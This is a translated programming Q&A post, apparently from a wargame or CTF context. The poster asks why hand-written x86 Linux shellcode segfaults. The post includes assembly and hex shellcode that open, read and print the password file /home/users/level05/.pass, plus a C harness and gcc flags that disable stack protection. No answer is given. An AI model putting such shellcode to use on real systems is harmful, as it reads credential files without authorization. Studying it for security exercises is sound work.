ASM [open / read / write] shellcode分段错误

时间:2017-06-06 21:22:52

标签: c assembly segmentation-fault shellcode

我试图编写一个简单的shellcode来读取文件的内容。

这是我的集会:

xor eax, eax
    xor ecx, ecx
    xor edx, edx

    push 0x73 ; /home/users/level05/.pass
    push 0x7361702e ;
    push 0x2f35306c
    push 0x6576656c 
    push 0x2f737265
    push 0x73752f65
    push 0x6d6f682f 
    mov ebx, esp
    mov al, 0x05
    int 0x80 ; open

    mov ebx, eax
    xor eax, eax
    xor edx, edx
    mov dl, 0x10
    mov ecx, esp
    mov al, 0x03
    int 0x80 ; read

    mov ecx, eax
    xor ebx, ebx
    mov bl, 0x01
    mov al, 0x04 
    int 0x80 ; write

`

因此,如果我将其转换为shellcode,并且只是运行它,我就会出现分段错误。

我验证了我的代码,看起来不错。要读取的文件也存在,我对它有权利。

我将它编译为在x86 linux上运行。

我用以下程序编译程序:这个主要:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"MYSHELLCODE";

main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

}

我跑:gcc c-shell.c -o shell -fno-stack-protector -z execstack -m32

shellcode:\x31\xc0\x31\xc9\x31\xd2\x6a\x73\x68\x2e\x70\x61\x73\x68\x6c\x30\x35\x2f\x68\x6c\x65\x76\x65\x68\x65\x72\x73\x2f\x68\x65\x2f\x75\x73\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x05\xcd\x80\x89\xc3\x31\xc0\x31\xd2\xb2\x10\x89\xe1\xb0\x03\xcd\x80\x89\xc1\x31\xdb\xb3\x01\xb0\x04\xcd\x80

68字节 `

0 个答案:

没有答案